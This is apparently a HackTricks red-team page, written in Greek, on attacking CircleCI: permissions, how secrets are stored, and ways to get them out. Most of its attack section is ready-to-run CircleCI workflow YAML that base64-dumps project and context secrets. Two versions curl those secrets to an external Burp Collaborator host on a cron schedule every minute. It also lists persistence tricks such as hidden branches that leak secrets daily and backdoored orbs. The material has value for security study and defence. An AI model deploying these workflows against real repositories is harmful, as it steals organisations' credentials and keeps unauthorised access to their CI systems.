CircleCI Security
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Basic Information
CircleCI είναι μια πλατφόρμα Συνεχούς Ενσωμάτωσης όπου μπορείτε να ορίσετε πρότυπα που υποδεικνύουν τι θέλετε να κάνει με κάποιον κώδικα και πότε να το κάνει. Με αυτόν τον τρόπο μπορείτε να αυτοματοποιήσετε τις δοκιμές ή τις αναπτύξεις απευθείας από το κύριο branch του repo για παράδειγμα.
Permissions
CircleCI κληρονομεί τις άδειες από το github και το bitbucket που σχετίζονται με τον λογαριασμό που συνδέεται.
Στις δοκιμές μου διαπίστωσα ότι όσο έχετε δικαιώματα εγγραφής πάνω στο repo στο github, θα μπορείτε να διαχειριστείτε τις ρυθμίσεις του έργου σας στο CircleCI (να ορίσετε νέα ssh keys, να αποκτήσετε project api keys, να δημιουργήσετε νέα branches με νέες ρυθμίσεις CircleCI…).
Ωστόσο, πρέπει να είστε διαχειριστής του repo για να μετατρέψετε το repo σε έργο CircleCI.
Env Variables & Secrets
Σύμφωνα με τα docs υπάρχουν διάφοροι τρόποι για να φορτώσετε τιμές σε μεταβλητές περιβάλλοντος μέσα σε μια ροή εργασίας.
Built-in env variables
Κάθε κοντέινερ που εκτελείται από το CircleCI θα έχει πάντα συγκεκριμένες env vars που ορίζονται στην τεκμηρίωση όπως CIRCLE_PR_USERNAME, CIRCLE_PROJECT_REPONAME ή CIRCLE_USERNAME.
Clear text
Μπορείτε να τις δηλώσετε σε καθαρό κείμενο μέσα σε μια εντολή:
- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET
Μπορείτε να τα δηλώσετε σε καθαρό κείμενο μέσα στο run environment:
- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret
Μπορείτε να τα δηλώσετε σε καθαρό κείμενο μέσα στο build-job environment:
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
Μπορείτε να τα δηλώσετε σε καθαρό κείμενο μέσα στο περιβάλλον ενός κοντέινερ:
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
Project Secrets
Αυτά είναι μυστικά που θα είναι προσβάσιμα μόνο από το project (από οποιοδήποτε branch).
Μπορείτε να τα δείτε δηλωμένα στο https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables
.png)
Caution
Η λειτουργία “Import Variables” επιτρέπει την εισαγωγή μεταβλητών από άλλα projects σε αυτό.
Context Secrets
Αυτά είναι μυστικά που είναι σε επίπεδο οργανισμού. Από προεπιλογή, οποιοδήποτε repo θα μπορεί να προσπελάσει οποιοδήποτε μυστικό αποθηκεύεται εδώ:
.png)
Tip
Ωστόσο, σημειώστε ότι μια διαφορετική ομάδα (αντί για Όλα τα μέλη) μπορεί να επιλεγεί για να δώσει πρόσβαση στα μυστικά μόνο σε συγκεκριμένα άτομα.
Αυτό είναι αυτή τη στιγμή ένας από τους καλύτερους τρόπους για να αυξήσετε την ασφάλεια των μυστικών, ώστε να μην επιτρέπεται σε όλους να τα προσπελάσουν αλλά μόνο σε ορισμένα άτομα.
Attacks
Search Clear Text Secrets
Αν έχετε πρόσβαση στο VCS (όπως το github) ελέγξτε το αρχείο .circleci/config.yml κάθε repo σε κάθε branch και αναζητήστε πιθανά clear text secrets που είναι αποθηκευμένα εκεί.
Secret Env Vars & Context enumeration
Ελέγχοντας τον κώδικα μπορείτε να βρείτε όλα τα ονόματα των μυστικών που χρησιμοποιούνται σε κάθε αρχείο .circleci/config.yml. Μπορείτε επίσης να αποκτήσετε τα ονόματα των contexts από αυτά τα αρχεία ή να τα ελέγξετε στην κονσόλα ιστού: https://app.circleci.com/settings/organization/github/<org_name>/contexts.
Exfiltrate Project secrets
Warning
Για να εξάγετε ΟΛΑ τα μυστικά του project και του context, χρειάζεται μόνο να έχετε WRITE πρόσβαση σε μόνο 1 repo σε ολόκληρο τον οργανισμό github (και ο λογαριασμός σας πρέπει να έχει πρόσβαση στα contexts αλλά από προεπιλογή όλοι μπορούν να προσπελάσουν κάθε context).
Caution
Η λειτουργία “Import Variables” επιτρέπει την εισαγωγή μεταβλητών από άλλα projects σε αυτό. Επομένως, ένας επιτιθέμενος θα μπορούσε να εισαγάγει όλες τις μεταβλητές του project από όλα τα repos και στη συνέχεια να εξάγει όλες μαζί.
Όλα τα μυστικά του project είναι πάντα ρυθμισμένα στο env των jobs, οπότε απλά καλώντας env και αποκρύπτοντάς το σε base64 θα εξάγει τα μυστικά στην κονσόλα καταγραφής web workflows:
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
workflows:
exfil-env-workflow:
jobs:
- exfil-env
Αν δεν έχετε πρόσβαση στην κονσόλα ιστού αλλά έχετε πρόσβαση στο repo και γνωρίζετε ότι χρησιμοποιείται το CircleCI, μπορείτε απλά να δημιουργήσετε μια ροή εργασίας που ενεργοποιείται κάθε λεπτό και που εξάγει τα μυστικά σε μια εξωτερική διεύθυνση:
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env
Εξαγωγή Μυστικών Πλαισίου
Πρέπει να καθορίσετε το όνομα του πλαισίου (αυτό θα εξάγει επίσης τα μυστικά του έργου):
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context
Αν δεν έχετε πρόσβαση στην κονσόλα ιστού αλλά έχετε πρόσβαση στο repo και γνωρίζετε ότι χρησιμοποιείται το CircleCI, μπορείτε απλά να τροποποιήσετε μια ροή εργασίας που ενεργοποιείται κάθε λεπτό και που εξάγει τα μυστικά σε μια εξωτερική διεύθυνση:
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context
Warning
Απλώς η δημιουργία ενός νέου
.circleci/config.ymlσε ένα repo δεν είναι αρκετή για να ενεργοποιήσει μια κατασκευή circleci. Πρέπει να το ενεργοποιήσετε ως έργο στην κονσόλα circleci.
Escape to Cloud
CircleCI σας δίνει την επιλογή να εκτελείτε τις κατασκευές σας στις μηχανές τους ή στις δικές σας.
Από προεπιλογή, οι μηχανές τους βρίσκονται στο GCP, και αρχικά δεν θα μπορείτε να βρείτε τίποτα σχετικό. Ωστόσο, αν ένα θύμα εκτελεί τις εργασίες στις δικές του μηχανές (πιθανώς, σε ένα περιβάλλον cloud), μπορεί να βρείτε ένα cloud metadata endpoint με ενδιαφέροντα πληροφορίες πάνω του.
Σημειώστε ότι στα προηγούμενα παραδείγματα όλα εκκινούνταν μέσα σε ένα κοντέινερ docker, αλλά μπορείτε επίσης να ζητήσετε να εκκινήσετε μια VM μηχανή (η οποία μπορεί να έχει διαφορετικές άδειες cloud):
jobs:
exfil-env:
#docker:
# - image: cimg/base:stable
machine:
image: ubuntu-2004:current
Ή ακόμα και ένα κοντέινερ docker με πρόσβαση σε μια απομακρυσμένη υπηρεσία docker:
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13
Επιμονή
- Είναι δυνατόν να δημιουργήσετε tokens χρηστών στο CircleCI για να έχετε πρόσβαση στα API endpoints με την πρόσβαση των χρηστών.
- https://app.circleci.com/settings/user/tokens
- Είναι δυνατόν να δημιουργήσετε tokens έργων για να έχετε πρόσβαση στο έργο με τις άδειες που δίνονται στο token.
- https://app.circleci.com/settings/project/github/<org>/<repo>/api
- Είναι δυνατόν να προσθέσετε SSH κλειδιά στα έργα.
- https://app.circleci.com/settings/project/github/<org>/<repo>/ssh
- Είναι δυνατόν να δημιουργήσετε μια εργασία cron σε κρυφό κλάδο σε ένα απροσδόκητο έργο που διαρρέει όλες τις μεταβλητές περιβάλλοντος καθημερινά.
- Ή ακόμα και να δημιουργήσετε σε έναν κλάδο / να τροποποιήσετε μια γνωστή εργασία που θα διαρρέει όλα τα μυστικά του έργου καθημερινά.
- Αν είστε ιδιοκτήτης του github μπορείτε να επιτρέψετε μη επαληθευμένα orbs και να ρυθμίσετε ένα σε μια εργασία ως πίσω πόρτα.
- Μπορείτε να βρείτε μια ευπάθεια εκτέλεσης εντολών σε κάποια εργασία και να εισάγετε εντολές μέσω ενός μυστικού τροποποιώντας την τιμή του.
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

